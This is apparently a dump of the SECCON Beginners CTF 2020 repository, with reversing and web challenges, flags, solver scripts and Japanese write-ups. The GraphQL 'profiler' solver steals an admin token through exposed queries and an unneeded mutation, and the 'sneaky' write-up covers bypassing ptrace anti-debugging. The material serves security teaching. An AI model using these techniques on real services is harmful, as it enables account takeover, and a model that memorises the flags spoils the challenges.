#include 3 | 4 | #define MASK1 0b01110101 5 | #define MASK2 0b11101011 6 | 7 | int main(int argc, char **argv) { 8 | int i; 9 | char s[64], t[64], u[64]; 10 | 11 | if (argc == 1) { 12 | printf("Usage: ./mask [FLAG]\n"); 13 | return 0; 14 | } 15 | 16 | strcpy(s, argv[1]); 17 | int len = strlen(s); 18 | 19 | printf("Putting on masks...\n"); 20 | for (i = 0; i < len; i++) { 21 | t[i] = s[i] & MASK1; 22 | u[i] = s[i] & MASK2; 23 | } 24 | 25 | t[len] = '\0'; 26 | u[len] = '\0'; 27 | 28 | printf("%s\n", t); 29 | printf("%s\n", u); 30 | 31 | if (!strcmp(t, "atd4`qdedtUpetepqeUdaaeUeaqau") && !strcmp(u, "c`b bk`kj`KbababcaKbacaKiacki")) { 32 | printf("Correct! Submit your FLAG.\n"); 33 | } else { 34 | printf("Wrong FLAG. Try again.\n"); 35 | } 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /rev/mask/files/mask: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/rev/mask/files/mask -------------------------------------------------------------------------------- /rev/mask/solver/solve.rb: -------------------------------------------------------------------------------- 1 | str_a = "atd4`qdedtUpetepqeUdaaeUeaqau" 2 | str_b = "c`b bk`kj`KbababcaKbacaKiacki" 3 | 4 | flag = str_a.chars.zip(str_b.chars).map do |(a, b)| 5 | (a.ord | b.ord).chr 6 | end.join 7 | 8 | puts flag -------------------------------------------------------------------------------- /rev/mask/writeup.md: -------------------------------------------------------------------------------- 1 | コマンドライン引数にFLAGを与えられるようです。 2 | 3 | Usage: ./mask [FLAG] 4 | 5 | とりあえず適当な文字列を渡してみると、よくわからない文字列と共に、「FLAGが違うよ」とメッセージが表示されます。 6 | 7 | ./mask hogehogepiyopiyo123456 8 | Putting on masks... 9 | `eee`eeepaqepaqe101454 10 | hkcahkca`iik`iik!"# !" 11 | Wrong FLAG. Try again. 12 | 13 | FLAGになりうる文字列を総当りしてマスクの結果を求めていくのは時間がかかるので、解析の結果とマスク演算の性質を使って元のFLAGを求めます。 14 | 15 | 逆コンパイラなどを使って解析します。コマンドライン引数でFLAGを受け取ると、各文字の文字コードと `0x75 (0b01110101)`・`0xeb (0b11101011)` のANDをとります(マスク)。`0x75` でマスクした結果が `atd4\`qdedtUpetepqeUdaaeUeaqau` 、`0xeb` でマスクすると `c\`b bk\`kj\`KbababcaKbacaKiacki` となるような文字列がFLAGです。 16 | 17 | あるASCII文字コード c を `0x75 (0b01110101)` でマスクすると、ビットが1のところ(下から1, 3, 5-7ビット目)は c の同じ位置のビットがそのまま結果になります。また、ビットが0のところは(下から2, 4, 8ビット目)は c のビットにかかわらず 0 が出力され、出力からは c のその位置のビットが0であったか1であったかはわかりません。 18 | 19 | ところが、`0x75 (0b01110101)` で0となっているビットは、もう一つのマスク `0xeb (0b11101011)` ではすべて1となっているので、2つの結果を合わせることで c の文字コードを復元できます。具体的には、マスクした結果の2つの文字のORを取れば元の文字が得られます。 20 | 21 | 式で表すと以下のようになります。flag_iはFLAGのi番目の文字の文字コードです。 22 | 23 | masked_a = flag_i AND 0x75 24 | masked_b = flag_i AND 0xeb 25 | 0x75 OR 0xeb = 0b01110101 OR 0b11101011 = 0b11111111 26 | 27 | masked_a OR masked_b 28 | = (flag_i AND 0x75) OR (flag_i AND 0xeb) 29 | = flag AND (0x75 OR 0xeb) 30 | = flag_i AND 0b11111111 31 | = flag_i 32 | 33 | 一番下の式の変形(分配法則)はベン図を描くとわかりやすいです。 -------------------------------------------------------------------------------- /rev/siblangs/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{jav4_and_j4va5cr1pt_3verywhere} 2 | -------------------------------------------------------------------------------- /rev/siblangs/README.md: -------------------------------------------------------------------------------- 1 | # siblangs 2 | 3 | ## 問題文 4 | Well, they look so similar… 5 | 6 | ## 難易度 7 | Medium 8 | 9 | ## 概要 10 | React Nativeを使用したAndroidアプリの動作を解析する。 11 | -------------------------------------------------------------------------------- /rev/siblangs/files/challenge.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/rev/siblangs/files/challenge.apk -------------------------------------------------------------------------------- /rev/siblangs/writeup.md: -------------------------------------------------------------------------------- 1 | Androidアプリのapkが渡されます。 2 | アプリを開くとFLAGを入れる欄があり、「VALIDATE A」「VALIDATE B」のボタンが提示されています。 3 | 4 | 「VALIDATE A」のボタンを押すとiOSでアプリを動かすように言われます(が、ipaは配布していないので当然動かせません)。 5 | 「VALIDATE B」のボタンを押すとバリデーションに失敗した旨の表示が出てきます。「Learn once, write anywhere」はReact Nativeのキャッチコピーです。 6 | 7 | とりあえずapkを展開・逆コンパイルする(作問者はBytecode Viewer経由でapktoolとFernflowerを使用しました)とes.o0i.challengeapp.nativemodule名前空間の下にValidateFlagModuleというクラスが見つかります。validate関数を読んでいくと、あらかじめAES-GCMで暗号化しておいたバイト列を、同一クラス内にある鍵で復号した結果と入力を比較し、一致していればコールバック関数にtrueを渡します。一致しなければfalseを渡します。これを使ってバイト列を復号すると、"1pt_3verywhere}"となり、FLAGの後半が得られます。23文字目以降に(これもValidateFlagModuleの処理からわかります)「1pt_3verywhere}」が現れるように前半を適当に埋めて「VALIDATE B」を押すと、バリデーションに成功した旨が表示されます。 8 | 9 | 次は「VALIDATE A」についてです。「Learn once, write anywhere」や、逆コンパイル結果で得られるReact系ライブラリのインポートからReact Nativeを使用していることと推測が立ちます。apkのassetsディレクトリにはindex.android.bundleというファイルがありますが、これはReact Nativeで使用されるJavaScriptソースを一つにまとめたものです。難読化をjs-beautifier等で解除してから、アプリ中の文言などを使って関係ある場所を探すと以下が見つかります。 10 | 11 | ```js 12 | function v() { 13 | var t; 14 | (0, l.default)(this, v); 15 | for (var o = arguments.length, n = new Array(o), c = 0; c < o; c++) n[c] = arguments[c]; 16 | return (t = y.call.apply(y, [this].concat(n))).state = { 17 | flagVal: "ctf4b{", 18 | xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] 19 | }, t.handleFlagChange = function(o) { 20 | t.setState({ 21 | flagVal: o 22 | }) 23 | }, t.onPressValidateFirstHalf = function() { 24 | if ("ios" === h.Platform.OS) { 25 | for (var o = "AKeyFor" + h.Platform.OS + h.Platform.Version, l = t.state.flagVal, n = 0; n < t.state.xored.length; n++) 26 | if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again..."); 27 | h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?") 28 | } else h.Alert.alert("Sorry!", "Run this app on iOS to validate! Or you can try the other one :)") 29 | }, t.onPressValidateLastHalf = function() { 30 | "android" === h.Platform.OS ? p.default.validate(t.state.flagVal, function(t) { 31 | t ? h.Alert.alert("Validation B Succeeded", "Great! Have you checked the other one?") : h.Alert.alert("Validation B Failed", "Learn once, write anywhere ... anywhere?") 32 | }) : h.Alert.alert("Sorry!", "Run this app on Android to validate! Or you can try the other one :)") 33 | }, t 34 | } 35 | ``` 36 | 37 | iOSで実行した場合は以下の部分が実行されることになります(読みやすくしました)。入力を「AKeyForios10.3」で一文字ずつループさせながらXORした結果がxoredの配列の中身に等しくなればよいので、xoredの中身を「AKeyForios10.3」でXORしてやればしかるべき入力、すなわちFLAGの前半が手に入ります("ctf4b{jav4_and_j4va5cr")。 38 | 39 | ```js 40 | ... 41 | flagVal: "ctf4b{", 42 | xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] 43 | ... 44 | if ("ios" === h.Platform.OS) { 45 | var o = "AKeyFor" + h.Platform.OS + "10.3", 46 | l = t.state.flagVal; 47 | for (n = 0; n < t.state.xored.length; n++) 48 | if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again..."); 49 | h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?") 50 | } 51 | ``` 52 | 53 | 54 | -------------------------------------------------------------------------------- /rev/sneaky/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{still_ez_2_cheat?} -------------------------------------------------------------------------------- /rev/sneaky/README.md: -------------------------------------------------------------------------------- 1 | # sneaky 2 | 3 | ## 問題文 4 | ハイスコアを取るとフラグが表示されるらしいです。 5 | 6 | ## 難易度 7 | 高 8 | 9 | ## 概要 10 | Linux用ゲームのチート。 11 | -------------------------------------------------------------------------------- /rev/sneaky/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | # gcc main.c -o sneaky -O2 -lncurses 3 | gcc -static main.c -o sneaky -O2 -lncurses -ltinfo 4 | strip --strip-all sneaky 5 | mv sneaky ../files 6 | -------------------------------------------------------------------------------- /rev/sneaky/build/genhash.py: -------------------------------------------------------------------------------- 1 | from ptrlib import rol 2 | 3 | flag = b'ctf4b{still_ez_2_cheat?}\0\0' 4 | 5 | def hash(s): 6 | h = 0x3141 7 | h = (h * 0xcafe + s[0]) & 0xffff; 8 | h = (h * 0xdead + s[1]) & 0xffff; 9 | return h 10 | 11 | l = [] 12 | for i in range(0, len(flag), 2): 13 | l.append(rol(hash(flag[i:i+2]), 1, bits=16)) 14 | print(l) 15 | print(len(l)) 16 | -------------------------------------------------------------------------------- /rev/sneaky/files/sneaky: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/rev/sneaky/files/sneaky -------------------------------------------------------------------------------- /rev/sneaky/writeup.md: -------------------------------------------------------------------------------- 1 | # sneaky - Writeup 2 | 3 | ## 方針 4 | とりあえずメモリをいじってスコアを書き換えることを目標とする。gdbでアタッチできないのでプロセスを見る。 5 | ``` 6 | $ ps aux | grep sneaky 7 | ptr 20184 0.0 0.0 1352 4 pts/7 S+ 23:44 0:00 ./sneaky 8 | ptr 20185 0.3 0.0 1616 1056 pts/7 S+ 23:44 0:00 ./sneaky 9 | ``` 10 | 2つプロセスが立っているので、ptraceを使ってデバッグを妨害していることが推測できる。 11 | 12 | IDAで読むと、`__libc_csu_init`から呼ばれる関数にcursesを初期化している関数がある。その中で最初に呼ばれる関数を見ると、明らかにforkしてptraceを走らせている。この関数呼び出しをnopで埋めてパッチを当てるとgdbでアタッチできるようになる。 13 | 14 | 次にmain関数の最後に呼ばれるゲームのメインループを見る。`"SCORE: %d"`といった書式文字列が使われており、これはゲームの構造体の先頭から0x20バイト先を参照しているため、ここを書き換えればよいことが分かる。ゲームの構造体はmallocで確保され、rbxに退避されるので、`[rbx+0x20]`を大きな整数値に書き換えてcontinueするとフラグが表示される。 15 | 16 | メモリを走査してスコアを見つけ、書き換える共有ライブラリを作って`LD_PRELOAD`で読ませたり、既存のメモリハックツールを使ってスコアを書き換えても良い。(後者の場合、ゲームオーバーにならないようusleepをいじったりプロセスを一時停止する必要がある。) 17 | -------------------------------------------------------------------------------- /rev/yakisoba/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{sp4gh3tt1_r1pp3r1n0} -------------------------------------------------------------------------------- /rev/yakisoba/README.md: -------------------------------------------------------------------------------- 1 | # yakisoba 2 | 3 | ## 問題文 4 | 焼きそばコードです。 5 | 6 | ## 難易度 7 | 易 8 | 9 | ## 概要 10 | CFGが意味不明なコードを解析する。 11 | -------------------------------------------------------------------------------- /rev/yakisoba/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o chall -O2 3 | strip --strip-all chall 4 | mv chall ../files/yakisoba 5 | -------------------------------------------------------------------------------- /rev/yakisoba/build/gencode.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | 4 | flag = b'ctf4b{sp4gh3tt1_r1pp3r1n0}\0' 5 | 6 | def gen_ret(): 7 | c = random.randint(0, 0xff) 8 | if c == 0: 9 | return 1 10 | else: 11 | return c 12 | 13 | def gen_group(target, complexity): 14 | obj = list(range(0x100)) 15 | random.shuffle(obj) 16 | r = set(obj[:min(0x100, complexity)]) 17 | r.add(target) 18 | return r 19 | 20 | def gen_check(flag, depth=0, complexity=5, tab=0): 21 | sp = " " * tab 22 | code = "%sswitch(flag[%d]) {\n" % (sp, depth) 23 | for t in gen_group(flag[depth], complexity): 24 | if depth == len(flag) - 1: 25 | if t == flag[depth]: 26 | code += "%s case %d: return 0;\n" % (sp, t) 27 | else: 28 | code += "%s case %d: return %d;\n" % (sp, t, gen_ret()) 29 | else: 30 | if t == flag[depth]: 31 | code += "%s case %d:\n" % (sp, t) 32 | code += gen_check(flag, depth + 1, complexity, tab + 2) 33 | code += "%s break;\n" % sp 34 | else: 35 | code += "%s case %d: return %d;\n" % (sp, t, gen_ret()) 36 | code += "%s default: return %d;\n" % (sp, gen_ret()) 37 | code += "%s}\n" % sp 38 | return code 39 | 40 | code = gen_check(flag) 41 | with open("template.c", "r") as f: 42 | template = f.read() 43 | output = template.replace("%%%%", code) 44 | with open("main.c", "w") as f: 45 | f.write(output) 46 | 47 | os.system("make") 48 | -------------------------------------------------------------------------------- /rev/yakisoba/build/template.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int check(const unsigned char *flag) { 4 | %%%% 5 | } 6 | 7 | int main(void) { 8 | char flag[0x20]; 9 | printf("FLAG: "); 10 | if (scanf("%31s", flag) == 0) 11 | return 1; 12 | if (check(flag)) { 13 | puts("Wrong!"); 14 | } else { 15 | puts("Correct!"); 16 | } 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /rev/yakisoba/files/yakisoba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/rev/yakisoba/files/yakisoba -------------------------------------------------------------------------------- /rev/yakisoba/solver/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | from logging import getLogger, WARN 4 | 5 | getLogger("angr").setLevel(WARN + 1) 6 | getLogger("claripy").setLevel(WARN + 1) 7 | 8 | flag = claripy.BVS("flag", 8 * 0x20) 9 | p = angr.Project("../files/yakisoba", load_options={"auto_load_libs": False}) 10 | state = p.factory.entry_state(stdin=flag) 11 | simgr = p.factory.simulation_manager(state) 12 | 13 | simgr.explore(find=0x4006d2, avoid=0x4006f7) 14 | 15 | try: 16 | found = simgr.found[0] 17 | print(found.solver.eval(flag, cast_to=bytes)) 18 | except IndexError: 19 | print("Not Found") 20 | -------------------------------------------------------------------------------- /rev/yakisoba/writeup.md: -------------------------------------------------------------------------------- 1 | # yakisoba - Writeup 2 | 3 | ## 方針 4 | IDAで読むと、フラグを最大31文字入力し、check関数で確認していることが分かる。 5 | check関数は大きすぎて読めないので、angrなどに投げる。 6 | -------------------------------------------------------------------------------- /web/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/.gitkeep -------------------------------------------------------------------------------- /web/profiler/.gitignore: -------------------------------------------------------------------------------- 1 | ### https://raw.github.com/github/gitignore/7ab549fcae8269fdd4004065470176f829d88200/Python.gitignore 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | pip-wheel-metadata/ 25 | share/python-wheels/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | MANIFEST 30 | 31 | # PyInstaller 32 | # Usually these files are written by a python script from a template 33 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 34 | *.manifest 35 | *.spec 36 | 37 | # Installer logs 38 | pip-log.txt 39 | pip-delete-this-directory.txt 40 | 41 | # Unit test / coverage reports 42 | htmlcov/ 43 | .tox/ 44 | .nox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *.cover 51 | *.py,cover 52 | .hypothesis/ 53 | .pytest_cache/ 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | local_settings.py 62 | db.sqlite3 63 | db.sqlite3-journal 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | .python-version 87 | 88 | # pipenv 89 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 90 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 91 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 92 | # install all needed dependencies. 93 | #Pipfile.lock 94 | 95 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 96 | __pypackages__/ 97 | 98 | # Celery stuff 99 | celerybeat-schedule 100 | celerybeat.pid 101 | 102 | # SageMath parsed files 103 | *.sage.py 104 | 105 | # Environments 106 | .env 107 | .venv 108 | env/ 109 | venv/ 110 | ENV/ 111 | env.bak/ 112 | venv.bak/ 113 | 114 | # Spyder project settings 115 | .spyderproject 116 | .spyproject 117 | 118 | # Rope project settings 119 | .ropeproject 120 | 121 | # mkdocs documentation 122 | /site 123 | 124 | # mypy 125 | .mypy_cache/ 126 | .dmypy.json 127 | dmypy.json 128 | 129 | # Pyre type checker 130 | .pyre/ 131 | 132 | 133 | -------------------------------------------------------------------------------- /web/profiler/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry} -------------------------------------------------------------------------------- /web/profiler/README.md: -------------------------------------------------------------------------------- 1 | # profiler 2 | ## 問題文 3 | Let's edit your profile with profiler! 4 | 5 | (Hint: You don't need to deobfuscate *.js.) 6 | 7 | {{ URL }} 8 | 9 | ## 難易度 10 | 普通(GraphQLの知識があるなら易)。 11 | 12 | ## 概要 13 | GraphQLに関する問題。 14 | 15 | 当該アプリケーションでは以下の機能が提供されている。 16 | - アカウント作成機能 17 | - ID、パスワード、ユーザ名を入力する。 18 | - アカウントを作成するとランダムなトークンが通知される。 19 | - ログイン機能 20 | - IDとパスワードを用いてログインする。 21 | - プロフィール更新機能 22 | - 更新したいプロフィールの内容とアカウント作成時に通知されるトークンを送信し、プロフィールを更新する。 23 | - トークンが正しくないとプロフィールは更新されない。 24 | - Flag取得機能 25 | - アカウントに設定されているトークンがadminのものであればFlagを取得できる。 26 | 27 | 当該アプリケーションでは、アカウント情報の取得やプロフィールの更新のためにGraphQLを用いている。 28 | GraphQLのスキーマは以下の通りである。 29 | 30 | ``` 31 | type User { 32 | uid: ID! 33 | name: String! 34 | profile: String! 35 | token: String! 36 | } 37 | 38 | type Query { 39 | me: User! 40 | someone(uid: ID!): User 41 | flag: String! 42 | } 43 | 44 | type Mutation { 45 | updateProfile(profile: String!, token: String!): Boolean! 46 | updateToken(token: String!): Boolean! 47 | } 48 | ``` 49 | 50 | 上記のスキーマから分かる通り、当該GraphQLエンドポイントにおいては、本来必要ないはずの`updateToken`ミューテーションを実行できたり、各ユーザの`token`を`me`クエリや`someone`クエリで取得したりすることができる(これは、現実の開発において起こり得る不必要なクエリやパラメータの公開を想定している)。 51 | 52 | 加えて、当該GraphQLエンドポイントにおいてはイントロスペクションクエリの実行が許可されている。そのため、細工したイントロスペクションを送信することで、上記のスキーマを閲覧することが可能である(これは、現実の開発において起こり得る不必要なイントロスペクションクエリ実行の許可を想定している)。 53 | 54 | よって、Flagを取得するためには以下のようにすればよい。 55 | 1. アカウント登録とログインを行い、プロフィールページに遷移する。ここで通信内容を確認すれば、GraphQLのAPIとやり取りしていることがわかる。 56 | 1. イントロスペクションクエリを送信しスキーマを確認する。 57 | 2. `someone(uid: "admin")`を送信し、adminの`token`を取得する。 58 | 3. `updateToken(token: "adminのtoken")`を送信し、自身の`token`をadminのものに置き換える。 59 | 4. Flag取得機能にアクセスする。 60 | 61 | ## 備考 62 | 配布ファイルはありません。 63 | 64 | ## 参考 65 | [GraphQL — Common vulnerabilities & how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) -------------------------------------------------------------------------------- /web/profiler/build/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.2-alpine 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY --chown=1000:1000 . . 6 | RUN apk add gcc build-base linux-headers && \ 7 | pip install -r requirements.txt 8 | 9 | CMD ["uwsgi", "--ini", "uwsgi.ini"] 10 | -------------------------------------------------------------------------------- /web/profiler/build/app/db.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/profiler/build/app/db.json -------------------------------------------------------------------------------- /web/profiler/build/app/requirements.txt: -------------------------------------------------------------------------------- 1 | ariadne==0.11.0 2 | click==7.1.1 3 | Flask==1.1.2 4 | graphql-core==3.0.4 5 | itsdangerous==1.1.0 6 | Jinja2==2.11.2 7 | MarkupSafe==1.1.1 8 | starlette==0.13.3 9 | tinydb==3.15.2 10 | typing-extensions==3.7.4.2 11 | uWSGI==2.0.18 12 | Werkzeug==1.0.1 13 | -------------------------------------------------------------------------------- /web/profiler/build/app/templates/flag.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block content %} 3 | 4 |8 | 9 | {% endblock %} -------------------------------------------------------------------------------- /web/profiler/build/app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block content %} 3 | {% if error_message %} 4 |5 | 6 |7 |5 |16 | {% endif %} 17 | 18 | {% if info_message %} 19 |6 |15 | 14 |20 |31 | {% endif %} 32 | 33 |21 |30 | 29 |34 |95 | {% endblock %} -------------------------------------------------------------------------------- /web/profiler/build/app/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |35 | 67 |68 | 69 |70 | 93 |94 |profiler 6 | 7 | 8 | 9 | 10 | 11 | 12 |13 | 21 | 22 |14 |20 |15 |19 |16 | profiler 17 |
18 |
23 | 24 | {% block content %} 25 | {% endblock %} 26 | 27 | 28 | -------------------------------------------------------------------------------- /web/profiler/build/app/templates/profile.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block content %} 3 |4 |48 | 49 | 50 | {% endblock %} -------------------------------------------------------------------------------- /web/profiler/build/app/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app:app 3 | uid = 1000 4 | gid = 1000 5 | socket = 0.0.0.0:5000 6 | workers = 4 7 | threads = 4 8 | harakiri = 5 9 | master = true 10 | -------------------------------------------------------------------------------- /web/profiler/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | app: 5 | build: 6 | context: app 7 | dockerfile: Dockerfile 8 | restart: always 9 | env_file: .env 10 | environment: 11 | TZ: "Asia/Tokyo" 12 | networks: 13 | - profiler 14 | nginx: 15 | image: nginx:alpine 16 | restart: always 17 | volumes: 18 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro 19 | - ./app/static:/usr/share/nginx/html/static:ro 20 | ports: 21 | - "80:80" 22 | networks: 23 | - profiler 24 | networks: 25 | profiler: 26 | -------------------------------------------------------------------------------- /web/profiler/build/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | worker_rlimit_nofile 20000; 5 | 6 | events { 7 | worker_connections 4096; 8 | multi_accept on; 9 | use epoll; 10 | } 11 | 12 | http { 13 | # we use kataribe 14 | log_format with_time '$remote_addr - $remote_user [$time_local] ' 15 | '"$request" $status $body_bytes_sent ' 16 | '"$http_referer" "$http_user_agent" $request_time'; 17 | access_log /var/log/nginx/access.log with_time; 18 | error_log /var/log/nginx/error.log warn; 19 | 20 | open_file_cache max=100 inactive=20s; 21 | open_file_cache_valid 60s; 22 | open_file_cache_min_uses 1; 23 | open_file_cache_errors on; 24 | 25 | client_body_buffer_size 8K; 26 | client_header_buffer_size 1k; 27 | client_max_body_size 2m; 28 | large_client_header_buffers 2 1k; 29 | 30 | client_body_timeout 5; 31 | client_header_timeout 5; 32 | keepalive_timeout 5; 33 | send_timeout 5; 34 | 35 | sendfile on; 36 | tcp_nopush on; 37 | tcp_nodelay on; 38 | types_hash_max_size 2048; 39 | server_tokens off; 40 | 41 | include /etc/nginx/mime.types; 42 | default_type application/octet-stream; 43 | 44 | server { 45 | listen 80 default_server; 46 | 47 | server_name _; 48 | 49 | location / { 50 | include uwsgi_params; 51 | uwsgi_pass app:5000; 52 | } 53 | 54 | location ~* ^/\w+\.(jpg|png|gif|jpeg|css|js|swf|pdf|html|htm|flv|ico)$ { 55 | return 404; 56 | } 57 | 58 | location /static { 59 | root /usr/share/nginx/html; 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /web/profiler/files/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/profiler/files/.gitkeep -------------------------------------------------------------------------------- /web/profiler/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | COPY . . 4 | RUN pip install -r ./requirements.txt 5 | 6 | # ENV CTF4B_HOST="profiler.quals.beginners.seccon.jp" 7 | # ENV CTF4B_PORT=80 8 | 9 | CMD ["python", "/solver.py"] 10 | -------------------------------------------------------------------------------- /web/profiler/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.23.0 -------------------------------------------------------------------------------- /web/profiler/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import json 4 | from hashlib import sha256 5 | 6 | import requests 7 | 8 | 9 | url = f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}" 10 | uid = sha256(str(random.random()).encode()).hexdigest() 11 | password = sha256(str(random.random()).encode()).hexdigest() 12 | name = sha256(str(random.random()).encode()).hexdigest() 13 | session = requests.Session() 14 | admin_token = None 15 | 16 | 17 | def register(): 18 | headers = { 19 | "Content-Type": "application/x-www-form-urlencoded" 20 | } 21 | data = f"uid={uid}&password={password}&name={name}" 22 | response = session.post(url+"/register", headers=headers, data=data) 23 | 24 | if response.status_code != 200: 25 | print("[*] Error: register()") 26 | exit(1) 27 | 28 | 29 | def login(): 30 | headers = { 31 | "Content-Type": "application/x-www-form-urlencoded" 32 | } 33 | data = f"uid={uid}&password={password}" 34 | response = session.post(url+"/login", headers=headers, data=data) 35 | 36 | if response.status_code != 200: 37 | print("[*] Error: login()") 38 | exit(1) 39 | 40 | 41 | def get_admin_token(): 42 | global admin_token 43 | 44 | headers = { 45 | "Content-Type": "application/json" 46 | } 47 | data = { 48 | "query": """query { 49 | someone(uid: "admin") { 50 | token 51 | } 52 | }""" 53 | } 54 | response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 55 | 56 | if response.status_code != 200: 57 | print("[*] Error: get_admin_token()") 58 | 59 | admin_token = response.json()["data"]["someone"]["token"] 60 | 61 | 62 | def update_token(): 63 | headers = { 64 | "Content-Type": "application/json" 65 | } 66 | data = { 67 | "query": """mutation {{ 68 | updateToken(token: "{admin_token}") 69 | }}""".format(admin_token=admin_token) 70 | } 71 | response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 72 | 73 | if response.status_code != 200: 74 | print(response.text) 75 | print("[*] Error: update_token()") 76 | 77 | 78 | def get_flag(): 79 | headers = { 80 | "Content-Type": "application/json" 81 | } 82 | data = { 83 | "query": """query { 84 | flag 85 | }""" 86 | } 87 | response = session.post(url+"/api", headers=headers, data=json.dumps(data)) 88 | 89 | if response.status_code != 200: 90 | print(response.text) 91 | print("[*] Error: update_token()") 92 | 93 | print(f"[*] FLAG: {response.json()['data']['flag']}") 94 | 95 | 96 | def main(): 97 | register() 98 | login() 99 | get_admin_token() 100 | update_token() 101 | get_flag() 102 | 103 | 104 | if __name__ == '__main__': 105 | main() 106 | -------------------------------------------------------------------------------- /web/profiler/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | まず、アプリケーションの通信を眺めるとGraphQLを用いていることがわかる。 3 | 4 | そこで、GraphQLのエンドポイント(`/api`)に対して以下のようなイントロスペクションクエリを送信しスキーマを確認する。受信したスキーマは、[GraphQL Voyager](https://apis.guru/graphql-voyager/)等で可視化できる。 5 | 6 | ``` 7 | query IntrospectionQuery { 8 | __schema { 9 | queryType { 10 | name 11 | } 12 | mutationType { 13 | name 14 | } 15 | subscriptionType { 16 | name 17 | } 18 | types { 19 | ...FullType 20 | } 21 | directives { 22 | name 23 | description 24 | locations 25 | args { 26 | ...InputValue 27 | } 28 | } 29 | } 30 | } 31 | 32 | fragment FullType on __Type { 33 | kind 34 | name 35 | description 36 | fields(includeDeprecated: true) { 37 | name 38 | description 39 | args { 40 | ...InputValue 41 | } 42 | type { 43 | ...TypeRef 44 | } 45 | isDeprecated 46 | deprecationReason 47 | } 48 | inputFields { 49 | ...InputValue 50 | } 51 | interfaces { 52 | ...TypeRef 53 | } 54 | enumValues(includeDeprecated: true) { 55 | name 56 | description 57 | isDeprecated 58 | deprecationReason 59 | } 60 | 